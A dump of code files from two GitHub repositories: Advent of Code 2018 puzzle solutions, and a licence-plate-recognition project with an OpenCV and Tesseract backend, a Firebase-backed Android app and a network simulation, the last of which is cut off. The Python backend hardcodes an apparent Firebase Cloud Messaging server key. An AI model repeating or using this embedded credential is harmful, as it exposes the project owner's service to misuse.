react('abAB') == 'abAB'\n assert react('aabAAB') == 'aabAAB'\n\n assert part1(test_polymer) == 10\n\n assert remove_all('a', test_polymer) == 'dbcCCBcCcD'\n assert remove_all('b', test_polymer) == 'daAcCaCAcCcaDA'\n assert remove_all('c', test_polymer) == 'dabAaBAaDA'\n assert remove_all('d', test_polymer) == 'abAcCaCBAcCcaA'\n\n assert react(remove_all('a', test_polymer)) == 'dbCBcD'\n assert react(remove_all('b', test_polymer)) == 'daCAcaDA'\n assert react(remove_all('c', test_polymer)) == 'daDA'\n assert react(remove_all('d', test_polymer)) == 'abCBAc'\n\n assert part2(test_polymer) == 4\n\n print(\"tests successful\")\n\n\ndef part1(polymer):\n return len(react(polymer))\n\n\ndef part2(polymer):\n unit_types = string.ascii_lowercase\n polymer_sizes = [len(react(remove_all(unit, polymer))) for unit in unit_types]\n return min(polymer_sizes)\n\n\nif __name__ == '__main__':\n tests()\n" }, { "alpha_fraction": 0.6142292618751526, "alphanum_fraction": 0.6418972611427307, "avg_line_length": 24.299999237060547, "blob_id": "b2af6b44d7eebb3c87c09a30674e7099f92f899b", "content_id": "b964617d1a0c5999633a9e22ec0b24543d2951ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1265, "license_type": "no_license", "max_line_length": 69, "num_lines": 50, "path": "/2018/day2.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "from collections import defaultdict\nfrom itertools import combinations\n\n\ndef get_letter_counts(box_id):\n counts = defaultdict(int)\n for char in box_id:\n counts[char] += 1\n return counts\n\n\ndef checksum(box_ids):\n two_count = 0\n three_count = 0\n for box_id in box_ids:\n letter_counts = get_letter_counts(box_id).values()\n if 2 in letter_counts:\n two_count += 1\n if 3 in letter_counts:\n three_count += 1\n return two_count * three_count\n\n\ndef get_differences(str1, str2):\n differences = {}\n for i, (char1, char2) in enumerate(zip(str1, str2)):\n if char1 != char2:\n differences[i] = (char1, char2)\n return differences\n\n\ndef get_prototype_boxes(candidate_ids):\n for id1, id2 in combinations(candidate_ids, 2):\n differences = get_differences(id1, id2)\n if len(differences) == 1:\n return id1, id2\n\n\ndef common_characters(str1, str2):\n return ''.join([a for a, b in zip(str1, str2) if a == b])\n\n\ndef part1(day2input):\n likely_candidates = day2input.splitlines()\n return checksum(likely_candidates)\n\n\ndef part2(day2input):\n likely_candidates = day2input.splitlines()\n return common_characters(*get_prototype_boxes(likely_candidates))\n" }, { "alpha_fraction": 0.5669807195663452, "alphanum_fraction": 0.5886931419372559, "avg_line_length": 32.90277862548828, "blob_id": "250a893f21ef4c925847c17c667d055b830be8c7", "content_id": "921a37f01af27e0a2fd6950984b76aea675179cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2441, "license_type": "no_license", "max_line_length": 92, "num_lines": 72, "path": "/2018/day6.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "from collections import defaultdict\n\n\ndef manhattan_distance(a, b):\n return abs(a[0] - b[0]) + abs(a[1] - b[1])\n\n\ndef get_closest(coordinate, coordinates):\n distances = defaultdict(list)\n for other_coordinate in coordinates:\n distances[manhattan_distance(coordinate, other_coordinate)].append(other_coordinate)\n closest = min(distances)\n if len(distances[closest]) > 1:\n return None\n return distances[closest][0]\n\n\ndef largest_noninfinite_area(coordinates):\n non_edge_coordinates = coordinates[:]\n areas = defaultdict(int)\n ys = sorted(c[1] for c in coordinates)\n xs = sorted(c[0] for c in coordinates)\n minx, maxx = (xs[0], xs[-1])\n miny, maxy = (ys[0], ys[-1])\n for y in range(miny, maxy + 1):\n is_y_edge = (y == miny or y == maxy)\n for x in range(minx, maxx + 1):\n is_x_edge = (x == minx or x == maxx)\n closest = get_closest((x, y), coordinates)\n if closest in non_edge_coordinates and (is_y_edge or is_x_edge):\n non_edge_coordinates.remove(closest)\n else:\n areas[closest] += 1\n return areas[max(non_edge_coordinates, key=areas.get)]\n\n\ndef get_region_size_of_coords_within_distance(distance, coordinates):\n ys = sorted(c[1] for c in coordinates)\n xs = sorted(c[0] for c in coordinates)\n minx, maxx = (xs[0], xs[-1])\n miny, maxy = (ys[0], ys[-1])\n return sum(1 for x in range(minx, maxx + 1)\n for y in range(miny, maxy + 1)\n if sum(manhattan_distance((x, y), c) for c in coordinates) < distance)\n\n\ndef part1(coordinates_input):\n clines = [cline.split(', ') for cline in coordinates_input.strip().splitlines()]\n coordinates = [(int(c[0]), int(c[1])) for c in clines]\n return largest_noninfinite_area(coordinates)\n\n\ndef part2(coordinates_input):\n clines = [cline.split(', ') for cline in coordinates_input.strip().splitlines()]\n coordinates = [(int(c[0]), int(c[1])) for c in clines]\n return get_region_size_of_coords_within_distance(10000, coordinates)\n\n\ndef tests():\n coordinate_list = [(1, 1),\n (1, 6),\n (8, 3),\n (3, 4),\n (5, 5),\n (8, 9)]\n\n assert largest_noninfinite_area(coordinate_list) == 17\n assert get_region_size_of_coords_within_distance(32, coordinate_list) == 16\n\n\nif __name__ == '__main__':\n tests()\n" }, { "alpha_fraction": 0.547325074672699, "alphanum_fraction": 0.6360964179039001, "avg_line_length": 30.5, "blob_id": "0b119713219e1cda99deddba8c73f3286b1dc9b5", "content_id": "19cdf557c0b1fc74711df73ed8a608492fe8f5e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1701, "license_type": "no_license", "max_line_length": 74, "num_lines": 54, "path": "/2018/day9.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "\"\"\" --- Day 9: Marble Mania --- \"\"\"\n\nimport re\n\nfrom collections import deque, defaultdict\n\n\ndef marble_game(player_count, marble_count):\n score = defaultdict(int)\n circle = deque([0])\n # current marble is always at the head of the deque\n for marble in range(1, marble_count + 1):\n if marble % 23 == 0:\n circle.rotate(7)\n score[marble % player_count] += circle.popleft() + marble\n else:\n circle.rotate(-2)\n circle.insert(0, marble)\n return max(score.values())\n\n\ndef tests():\n assert marble_game(9, 25) == 32\n\n assert marble_game(10, 1618) == 8317\n assert marble_game(13, 7999) == 146373\n assert marble_game(17, 1104) == 2764\n assert marble_game(21, 6111) == 54718\n assert marble_game(30, 5807) == 37305\n\n assert part1('10 players; last marble is worth 1618 points') == 8317\n assert part1('13 players; last marble is worth 7999 points') == 146373\n assert part1('17 players; last marble is worth 1104 points') == 2764\n assert part1('21 players; last marble is worth 6111 points') == 54718\n assert part1('30 players; last marble is worth 5807 points') == 37305\n\n\ndef part1(game_settings):\n players, marbles = map(int, re.findall(r'\\d+', game_settings))\n return marble_game(players, marbles)\n\n\ndef part2(game_settings):\n players, marbles = map(int, re.findall(r'\\d+', game_settings))\n return marble_game(players, marbles * 100)\n\n\nif __name__ == '__main__':\n tests()\n print(part1('466 players; last marble is worth 71436 points'))\n import time\n start = time.time()\n print(part2('466 players; last marble is worth 71436 points'))\n print('time: {}'.format(time.time() - start))\n" }, { "alpha_fraction": 0.5345173478126526, "alphanum_fraction": 0.5674591660499573, "avg_line_length": 33.56435775756836, "blob_id": "0303d8930d5b335aa1182cc20e0869b641e3287a", "content_id": "4e704d5f2bc8808e5cb3df9abd76057ba40f5a48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3491, "license_type": "no_license", "max_line_length": 87, "num_lines": 101, "path": "/2018/day11.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "from functools import lru_cache\n\n\ndef hundreds_digit_or_zero(power_level):\n return int(power_level / 100) % 10\n\n\n@lru_cache(maxsize=pow(2, 17))\ndef cell_power_level(x, y, grid_serial_number):\n # rack_id = x + 10\n # power_level = rack_id * y\n # power_level = power_level + grid_serial_number\n # power_level = power_level * rack_id\n # power_level = hundreds_digit_or_zero(power_level)\n # return power_level - 5\n return hundreds_digit_or_zero((((x + 10) * y) + grid_serial_number) * (x + 10)) - 5\n\n\nclass PowerGrid:\n \"\"\"\n Power Grid implemented as an Integral Image (or a Summed Area Table)\n\n The summed area is cached (or memoized) with an LRU cache from functools\n (thanks Python standard library for not making me reinvent the wheel)\n\n \"\"\"\n\n def __init__(self, serial_number, grid_size=300) -> None:\n super().__init__()\n self.serial_number = serial_number\n self.grid_size = grid_size + 1\n\n @lru_cache(maxsize=pow(2, 17))\n def summed_area(self, x, y):\n \"\"\"\n Summed area above and to the left of x, y\n \"\"\"\n if x < 0 or y < 0:\n return 0\n else:\n return (self.summed_area(x - 1, y)\n + self.summed_area(x, y - 1)\n - self.summed_area(x - 1, y - 1)\n + cell_power_level(x, y, self.serial_number))\n\n def power_level(self, x, y, cell_pack_size):\n a = self.summed_area(x - 1, y - 1)\n b = self.summed_area(x - 1, y + cell_pack_size - 1)\n c = self.summed_area(x + cell_pack_size - 1, y - 1)\n d = self.summed_area(x + cell_pack_size - 1, y + cell_pack_size - 1)\n return d - b - c + a\n\n def best_cell_pack_location(self, cell_pack_size):\n cell_pack_power_levels = {(x, y): self.power_level(x, y, cell_pack_size)\n for y in range(1, self.grid_size - cell_pack_size)\n for x in range(1, self.grid_size - cell_pack_size)}\n return max(cell_pack_power_levels, key=cell_pack_power_levels.get)\n\n def best_cell_pack(self):\n best_cell_pack_location = (1, 1)\n best_cell_pack_size = 3\n best_cell_pack_power_level = self.power_level(1, 1, 3)\n for cell_pack_size in range(2, self.grid_size):\n for y in range(self.grid_size - cell_pack_size):\n for x in range(self.grid_size - cell_pack_size):\n cell_pack_power_level = self.power_level(x, y, cell_pack_size)\n if cell_pack_power_level > best_cell_pack_power_level:\n best_cell_pack_location = (x, y)\n best_cell_pack_size = cell_pack_size\n best_cell_pack_power_level = cell_pack_power_level\n return best_cell_pack_location, best_cell_pack_size\n\n\ndef part1(grid_serial):\n power_grid = PowerGrid(int(grid_serial))\n return power_grid.best_cell_pack_location(3)\n\n\ndef part2(grid_serial):\n power_grid = PowerGrid(int(grid_serial))\n return power_grid.best_cell_pack()\n\n\ndef tests():\n\n assert cell_power_level(3, 5, 8) == 4\n assert cell_power_level(122, 79, 57) == -5\n assert cell_power_level(217, 196, 39) == 0\n assert cell_power_level(101, 153, 71) == 4\n\n assert part1('18') == (33, 45)\n assert part1('42') == (21, 61)\n\n assert part2('18') == ((90, 269), 16)\n assert part2('42') == ((232, 251), 12)\n\n print('Tests successful')\n\n\nif __name__ == '__main__':\n tests()\n" }, { "alpha_fraction": 0.5821325778961182, "alphanum_fraction": 0.590778112411499, "avg_line_length": 23.785715103149414, "blob_id": "627ddf2c2ddf83e0561279328f39f11c91be4fa9", "content_id": "c8cf1c6eeda42bf39cf6ccd4f2a0bbf385cc2031", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 694, "license_type": "no_license", "max_line_length": 84, "num_lines": 28, "path": "/2018/runner.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "import advent_of_code\nimport importlib\nimport glob\n\n\ndays = {day[:-3]: importlib.import_module(day[:-3]) for day in glob.glob('day*.py')}\n\n\ndef print_solutions_for_day(day):\n print('Day {}:'.format(day))\n dayinput = advent_of_code.get_day_input(day)\n solver = days['day{}'.format(day)]\n for part in range(1, 3):\n part_solver = 'part{}'.format(part)\n if hasattr(solver, part_solver):\n print(getattr(solver, part_solver)(dayinput))\n else:\n print('No Solution for Day {} Part {}'.format(day, part))\n print()\n\n\ndef main():\n for day in range(1, len(days) + 1):\n print_solutions_for_day(day)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5023212432861328, "alphanum_fraction": 0.5509130358695984, "avg_line_length": 27.848215103149414, "blob_id": "67e395e8432990722781d108cf33b13a0ef43eaf", "content_id": "1f4b60ed2db650345a00e87761e7b5250023f11a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3231, "license_type": "no_license", "max_line_length": 110, "num_lines": 112, "path": "/2018/day10.py", "repo_name": "MRSharff/adventofcode", "src_encoding": "UTF-8", "text": "\"\"\" --- Day 10: The Stars Align --- \"\"\"\n\nimport re\n\n\npoint_regex = re.compile('position=<(?P<position>.+)> velocity=<(?P<velocity>.+)>')\n\n\ndef get_yrange_at_time(points, t):\n y_values = [point[1] + t * velocity[1] for point, velocity in points.items()]\n return max(y_values) - min(y_values)\n\n\ndef get_smallest_y_range_in_time_range(range_, points):\n times = {t: get_yrange_at_time(points, t) for t in range_}\n return min(times, key=times.get)\n\n\ndef point_view(points_in_time):\n max_x, max_y = max(points_in_time, key=lambda p: p[0])[0], max(points_in_time, key=lambda p: p[1])[1]\n min_x, min_y = min(points_in_time, key=lambda p: p[0])[0], min(points_in_time, key=lambda p: p[1])[1]\n board = []\n for y in range(min_y - 1, max_y + 2):\n for x in range(min_x - 1, max_x + 2):\n if (x, y) in points_in_time:\n board.append('#')\n else:\n board.append('.')\n board.append('\\n')\n return ''.join(board)\n\n\ndef get_optimal_time(points):\n t = 0\n previous = get_yrange_at_time(points, 0)\n current = get_yrange_at_time(points, t + 1)\n while previous > current:\n t += 1\n previous = current\n current = get_yrange_at_time(points, t + 1)\n return t\n\n\ndef get_points(point_data):\n return {tuple(int(c) for c in d['position'].strip().split(', ')):\n tuple(int(c) for c in d['velocity'].strip().split(', '))\n for d in point_regex.finditer(point_data)}\n\n\ndef part1(point_data):\n points = get_points(point_data)\n t = get_optimal_time(points)\n points_in_time = [tuple(c + t * v for c, v in zip(point, velocity)) for point, velocity in points.items()]\n return point_view(points_in_time)\n\n\ndef part2(point_data):\n return get_optimal_time(get_points(point_data))\n\n\ndef tests():\n test_points = \"\"\"position=< 9, 1> velocity=< 0, 2>\nposition=< 7, 0> velocity=<-1, 0>\nposition=< 3, -2> velocity=<-1, 1>\nposition=< 6, 10> velocity=<-2, -1>\nposition=< 2, -4> velocity=< 2, 2>\nposition=<-6, 10> velocity=< 2, -2>\nposition=< 1, 8> velocity=< 1, -1>\nposition=< 1, 7> velocity=< 1, 0>\nposition=<-3, 11> velocity=< 1, -2>\nposition=< 7, 6> velocity=<-1, -1>\nposition=<-2, 3> velocity=< 1, 0>\nposition=<-4, 3> velocity=< 2, 0>\nposition=<10, -3> velocity=<-1, 1>\nposition=< 5, 11> velocity=< 1, -2>\nposition=< 4, 7> velocity=< 0, -1>\nposition=< 8, -2> velocity=< 0, 1>\nposition=<15, 0> velocity=<-2, 0>\nposition=< 1, 6> velocity=< 1, 0>\nposition=< 8, 9> velocity=< 0, -1>\nposition=< 3, 3> velocity=<-1, 1>\nposition=< 0, 5> velocity=< 0, -1>\nposition=<-2, 2> velocity=< 2, 0>\nposition=< 5, -2> velocity=< 1, 2>\nposition=< 1, 4> velocity=< 2, 1>\nposition=<-2, 7> velocity=< 2, -2>\nposition=< 3, 6> velocity=<-1, -1>\nposition=< 5, 0> velocity=< 1, 0>\nposition=<-6, 0> velocity=< 2, 0>\nposition=< 5, 9> velocity=< 1, -2>\nposition=<14, 7> velocity=<-2, 0>\nposition=<-3, 6> velocity=< 2, -1>\"\"\"\n\n test_word = \"\"\"\\\n............\n.#...#..###.\n.#...#...#..\n.#...#...#..\n.#####...#..\n.#...#...#..\n.#...#...#..\n.#...#...#..\n.#...#..###.\n............\n\"\"\"\n\n assert part1(test_points) == test_word\n assert part2(test_points) == 3\n\n\nif __name__ == '__main__':\n tests()\n" } ]
13
navneetkompelli/licence-plate-recognition
https://github.com/navneetkompelli/licence-plate-recognition
d41a8b2dac9a187a53ab87042c5e18aa03bf47ee
303bf147ea359aba289cdd043864486dffd0f747
b4998499aa080444b13042c54f8fdc5e15b86b9e
refs/heads/master
2023-02-15T12:38:42.575957
2021-01-15T21:49:41
2021-01-15T21:49:41
330,028,549
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6061263680458069, "alphanum_fraction": 0.6300048232078552, "avg_line_length": 43.09574508666992, "blob_id": "d0d244ff85b62a683eb60debbc53b7de5bfa3a42", "content_id": "8c2951faf9967816753e47ff1d0068221d87d464", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4146, "license_type": "no_license", "max_line_length": 141, "num_lines": 94, "path": "/pythonbackend.py", "repo_name": "navneetkompelli/licence-plate-recognition", "src_encoding": "UTF-8", "text": "import cv2\nimport imutils\nimport numpy as np\nimport datetime as dt\nimport pytesseract\npytesseract.pytesseract.tesseract_cmd = r'/usr/bin/tesseract'\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import db\nimport requests\nimport json\nserverKey = 'AAAApwpu7pU:APA91bHAz8ijoBTkMvm75lQ_vwA52X6lgJdR_RaVlGWwQkaczmVmgywKmwFcSFdAxUKtRps5vsOICcQHorg5oLGMt1NFLVmJWlgBp2IB-Ma44mhoNNsyhcASBd_3PcjokftnXC7TIMef'\ncred = credentials.Certificate('privkeyfbproj01.json')\nfirebase_admin.initialize_app(cred, {\n 'databaseURL': 'https://fbproj01.firebaseio.com'\n})\n\ncamera = cv2.VideoCapture(2)\nwhile True:\n read, frame = camera.read()\n cv2.imshow(\"captureShow\", frame)\n key = cv2.waitKey(1)\n if key%256 == 27: # ESC key hit\n print(\"ESC, closed\")\n break\n elif key%256 == 32: # SPACE key hit\n temptime = dt.datetime.now().strftime('%Y_%m_%d_%H_%M_%S_%f')[:-3] # timestamp including milliseconds\n img_name = temptime+\".png\"\n cv2.imwrite(img_name, frame) # save image \n print(\"{} written!\".format(img_name))\n break\ncamera.release()\ncv2.destroyAllWindows()\n\nimage = cv2.imread(img_name, cv2.IMREAD_COLOR) # read the saved image\nimage = cv2.resize(image, (600,400)) # resize all images to 600x400 to avoid bias \ngrey = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # convert image to grayscale\ngrey = cv2.bilateralFilter(grey, 13, 15, 15) # Reduce the noise in the image by blurring\nedgedimage = cv2.Canny(grey, 30, 200) # detect edges in the image\nfindcontours = cv2.findContours(edgedimage.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) # find contours\ngrabcontours = imutils.grab_contours(findcontours) # grab contours\ncontours10 = sorted(grabcontours, key = cv2.contourArea, reverse = True)[:10] # sort and store only the largest ten contours\ncount = None\n\nfor c in contours10: # find contours that are of rectangle shape\n arclen = cv2.arcLength(c, True)\n approx = cv2.approxPolyDP(c, 0.018 * arclen, True)\n if len(approx) == 4:\n count = approx\n break\n\nif count is None:\n print (\"No rectangle contour detected\")\nelse:\n cv2.drawContours(image, [count], -1, (0, 0, 255), 3)\n mask = np.zeros(grey.shape, np.uint8) # mask the part of the image that is not the plate\n drawcontours = cv2.drawContours(mask, [count], 0,255,-1,)\n (a, b) = np.where(mask == 255)\n (minx, miny) = (np.min(a), np.min(b)) # crop the plate part of the image\n (maxx, maxy) = (np.max(a), np.max(b))\n croppedimage = grey[minx:maxx+1, miny:maxy+1]\n\n text = pytesseract.image_to_string(croppedimage, config='--psm 11') # Read the characters from the cropped image\n cleaned = \"\".join([char if ord(char) < 128 else \"\" for char in text]).strip() # clean the tesseract output to remove non-ascii characters\n print (cleaned)\n\n ref = db.reference('/tokensplates') # connect to firebase db\n snapshot = db.reference('/tokensplates') # data is stored in this node with platenumber as key and devicetoken as value\n snapshot = ref.order_by_key().get() # fetch the data from db, order by platenumbers\n\n for key, val in snapshot.items():\n if key == cleaned: # Match found in database\n deviceToken = val; # store the corresponding device token. Notification will be sent only to this token (device).\n print(\"Match Found, Sending notification to the Parking App\")\n headers = {\n 'Content-Type': 'application/json',\n 'Authorization': 'key=' + serverKey,\n }\n body = {\n 'notification': {'title': 'Parking Access Granted',\n 'body': 'Your vehicle is granted access at ' + temptime\n },\n 'to':\n deviceToken,\n 'priority': 'high',\n }\n response = requests.post(\"https://fcm.googleapis.com/fcm/send\",headers = headers, data=json.dumps(body))\n if response.status_code == 200:\n print(\"Notification Sent\")\n else:\n print(\"Error while sending notification\")\n break\n else: # No match found in database\n print(\"No Match Found\")\n\n" }, { "alpha_fraction": 0.5532509684562683, "alphanum_fraction": 0.5532509684562683, "avg_line_length": 41.07843017578125, "blob_id": "cc0ece099a45029e43ef8c0f090831db083d1b49", "content_id": "e202d44c6b4161bfa1a6504775e65acc587be8b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 4291, "license_type": "no_license", "max_line_length": 124, "num_lines": 102, "path": "/Android-app/app/src/main/java/com/example/authui/LicenceActivity.java", "repo_name": "navneetkompelli/licence-plate-recognition", "src_encoding": "UTF-8", "text": "package com.example.authui;\n\nimport androidx.annotation.NonNull;\nimport androidx.appcompat.app.AppCompatActivity;\n\nimport android.os.Bundle;\nimport android.text.TextUtils;\nimport android.util.Log;\nimport android.view.View;\nimport android.widget.Button;\nimport android.widget.EditText;\nimport android.widget.TextView;\nimport android.widget.Toast;\n\nimport com.google.android.gms.tasks.OnCompleteListener;\nimport com.google.android.gms.tasks.Task;\nimport com.google.firebase.auth.FirebaseUser;\nimport com.google.firebase.database.DatabaseError;\nimport com.google.firebase.database.DatabaseReference;\nimport com.google.firebase.database.FirebaseDatabase;\nimport com.google.firebase.messaging.FirebaseMessaging;\n\npublic class LicenceActivity extends AppCompatActivity {\n\n private static final String TAG = \"LicenceActivity\";\n private EditText et_licencenum;\n private TextView tv_token;\n private Button btn_submit;\n private Button btn_delete;\n\n private static FirebaseUser currentUser;\n private FirebaseDatabase database;\n private DatabaseReference dbRef;\n\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_licence);\n\n et_licencenum = (EditText) findViewById(R.id.et_licencenum);\n tv_token = (TextView) findViewById(R.id.tv_token);\n btn_submit = (Button) findViewById(R.id.btn_submit);\n btn_delete = (Button) findViewById(R.id.btn_delete);\n database = FirebaseDatabase.getInstance();\n dbRef = database.getReference(\"/tokensplates\");\n\n FirebaseMessaging.getInstance().getToken()\n .addOnCompleteListener(new OnCompleteListener<String>() {\n @Override\n public void onComplete(@NonNull Task<String> task) {\n if (!task.isSuccessful()) {\n Log.w(TAG, \"Fetching FCM registration token failed\", task.getException());\n return;\n }\n String fcm_token = task.getResult();\n //tv_token.setText(fcm_token);\n\n btn_submit.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n if (TextUtils.isEmpty(et_licencenum.getText().toString())){\n notifyUser(\"Submit error - Enter plate number\");\n }\n else {\n dbRef.child(et_licencenum.getText().toString()).setValue(fcm_token, completionListener);\n notifyUser(et_licencenum.getText().toString() + \" is now registered\");\n }\n }\n });\n\n btn_delete.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n if (TextUtils.isEmpty(et_licencenum.getText().toString())){\n notifyUser(\"Delete error - Enter plate number\");\n }\n else {\n dbRef.child(et_licencenum.getText().toString()).removeValue();\n notifyUser(et_licencenum.getText().toString() + \" is now de-registered\");\n }\n }\n });\n }\n });\n\n }\n\n DatabaseReference.CompletionListener completionListener =\n new DatabaseReference.CompletionListener() {\n @Override\n public void onComplete(DatabaseError databaseError,\n DatabaseReference databaseReference) {\n if (databaseError != null) {\n notifyUser(databaseError.getMessage());\n }\n }\n };\n\n private void notifyUser(String message) {\n Toast.makeText(LicenceActivity.this, message, Toast.LENGTH_SHORT).show();\n }\n}" } ]
2
chike0905/networksimulation
https://github.com/chike0905/networksimulation
cb35bd8330b8b1ca7ada9b6738c6b55c3c81c2c2
9d939b5bb099378fe86d904f53883b4523c17bc1
e3d98e195641bc2f80ad33da159b369befe07bca
refs/heads/master
2021-01-10T13:37:36.780851
2016-02-05T20:27:49
2016-02-05T20:27:49
50,988,525
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5831722617149353, "alphanum_fraction": 0.6007135510444641, "avg_line_length": 26.125, "blob_id": "74007fa1a8db3885dc96e24d9347b4b2b2877587", "content_id": "05e5bef931e5aff8fa871908587dd2afc7dae864", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7273, "license_type": "no_license", "max_line_length": 67, "num_lines": 248, "path": "/main.py", "repo_name": "chike0905/networksimulation", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport networkx as nx\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport pylab\nimport random\n\nfrom IPython import embed\nfrom IPython.terminal.embed import InteractiveShellEmbed\n\n#初期状態の生成\nnode = 8\nseconds = 6000\ncase = 1\n\n#関数\n\ndef showgraph(G):\n pos = nx.spring_layout(G)\n nx.draw_networkx_nodes(G, pos, node_size=100, node_color=\"r\")\n nx.draw_networkx_edges(G, pos, width=1)\n plt.show()\n return 0\n\n\ndef random_weight_choice(L):\n choice = None\n total = 0\n for item, p in L:\n total += p\n if random.random() * total < p:\n choice = item\n return choice\n\ndef BasicSelection(G):\n C = []\n degree = nx.degree(G)\n degreeitem = degree.items()\n alldegree = float()\n for i in degreeitem:\n alldegree = alldegree + float(i[1])\n for a in degreeitem:\n C.append((a[0],float(a[1])/alldegree))\n return random_weight_choice(C)\n\ndef LengthSelection(G,node):\n lengthdict = nx.single_source_dijkstra_path_length(G,str(node))\n flag = []\n for a in lengthdict.keys():\n neigh = G.neighbors(str(node))\n flag.append(a in neigh)\n if True in neigh:\n G.add_edge(str(i),str(LengthSelection(G,str(i))))\n C = []\n lengthitem = Lengthdict.items()\n allLength = float()\n for a in lengthitem:\n allLength = allLength + float(a[1])\n for a in lengthitem:\n C.append((a[0],float(a[1])/allLength))\n return random_weight_choice(C)\n else:\n return BasicSelection(G)\n\ndef RandAddEdge(G,flag,time,wait):\n #エッジ作成終了処理\n for n in range(node):\n #発行中であれば\n if flag.count(n) is not 0:\n #作成時間が残り0より長ければ\n if time[n] > 0:\n #時間を進める\n time[n] = time[n] - 1\n else:\n #作成を終了\n flag.remove(n)\n #エッジ作成してないものへの処理\n for a in range(node):\n if flag.count(a) is 0:\n target = a\n #作成を開始\n while True:\n #相手を乱択\n pair = random.randint(0,node-1)\n #pair = int(BasicSelection(G))\n if flag.count(pair) is 0 and pair is not target:\n break\n if pair is not wait[target][0]:\n G.add_edge(str(i),str(pair))\n maket = int(random.gauss(300,120))\n time[target] = maket\n time[pair] = maket\n wait[target] = [pair,maket+300]\n wait[pair] = [target,maket+300]\n flag.append(target)\n flag.append(pair)\n else:\n wait[target][1] = wait[target][1] - 1\n if wait[target][1] is 0:\n wait[target] = [None,None]\n\ndef DegAddEdge(G,flag,time,wait):\n #エッジ作成終了処理\n for n in range(node):\n #発行中であれば\n if flag.count(n) is not 0:\n #作成時間が残り0より長ければ\n if time[n] > 0:\n #時間を進める\n time[n] = time[n] - 1\n else:\n #作成を終了\n flag.remove(n)\n #エッジ作成してないものへの処理\n for a in range(node):\n if flag.count(a) is 0:\n target = a\n #作成を開始\n while True:\n #相手を次数で重み付けして乱択\n pair = int(BasicSelection(G))\n if flag.count(pair) is 0 and pair is not target:\n break\n if pair is not wait[target][0]:\n G.add_edge(str(i),str(pair))\n maket = int(random.gauss(300,120))\n time[target] = maket\n time[pair] = maket\n wait[target] = [pair,maket+300]\n wait[pair] = [target,maket+300]\n flag.append(target)\n flag.append(pair)\n else:\n wait[target][1] = wait[target][1] - 1\n if wait[target][1] is 0:\n wait[target] = [None,None]\n\n\ndef LengthAddEdge(G,flag,time,wait):\n #エッジ作成終了処理\n for n in range(node):\n #発行中であれば\n if flag.count(n) is not 0:\n #作成時間が残り0より長ければ\n if time[n] > 0:\n #時間を進める\n time[n] = time[n] - 1\n else:\n #作成を終了\n flag.remove(n)\n #エッジ作成してないものへの処理\n for a in range(node):\n if flag.count(a) is 0:\n target = a\n #作成を開始\n while True:\n #相手をパス距離で重み付けして乱択\n pair = int(LengthSelection(G,target))\n if flag.count(pair) is 0 and pair is not target:\n break\n if pair is not wait[target][0]:\n G.add_edge(str(i),str(pair))\n maket = int(random.gauss(300,120))\n time[target] = maket\n time[pair] = maket\n wait[target] = [pair,maket+300]\n wait[pair] = [target,maket+300]\n flag.append(target)\n flag.append(pair)\n else:\n wait[target][1] = wait[target][1] - 1\n if wait[target][1] is 0:\n wait[target] = [None,None]\n\ndef sort(map):\n ms=sorted(map.iteritems(), key=lambda (k,v): (-v,k))\n return ms\n\ndef makegraph(lave,wave,rave):\n plt.plot(lave,color=\"green\",label=\"Make edge by length\")\n plt.plot(wave,color=\"blue\",label=\"Make edge by degree\")\n plt.plot(rave,color=\"red\",label=\"Make edge at random\")\n plt.xlabel('Second')\n plt.ylabel('Clustering Coefficient')\n plt.legend(loc='upper left')\n\n\nrandG = [nx.Graph() for a in range(case)]\nweigthG = [nx.Graph() for a in range(case)]\nlengthG = [nx.Graph() for a in range(case)]\n\nrandCC = [None for a in range(len(randG))]\nweigthCC = [None for a in range(len(weigthG))]\nlengthCC = [None for a in range(len(lengthG))]\n\n#発行中フラッグ\n#発行中のものがぶち込まれる\nrflag = [[] for a in range(case)]\nwflag = [[] for a in range(case)]\nlflag = [[] for a in range(case)]\n#発行残り時間\nrtime = [[0 for i in range(node)] for a in range(case)]\nwtime = [[0 for i in range(node)] for a in range(case)]\nltime = [[0 for i in range(node)] for a in range(case)]\n#待機時間\nrwait = [{i:[None,None] for i in range(node)} for a in range(case)]\nwwait = [{i:[None,None] for i in range(node)} for a in range(case)]\nlwait = [{i:[None,None] for i in range(node)} for a in range(case)]\n\n\n#初期状態生成\nfor a in range(len(randG)):\n for i in range(0,node-1,2):\n randG[a].add_edges_from([(str(i),str(i+1))])\n weigthG[a].add_edges_from([(str(i),str(i+1))])\n lengthG[a].add_edges_from([(str(i),str(i+1))])\n\n randCC[a] = [0.0 for row in range(seconds)]\n weigthCC[a] = [0.0 for row in range(seconds)]\n lengthCC[a] = [0.0 for row in range(seconds)]\n\n\n#秒数を進める\nfor s in range(seconds):\n print \"now making graph at \"+str(s)+\" 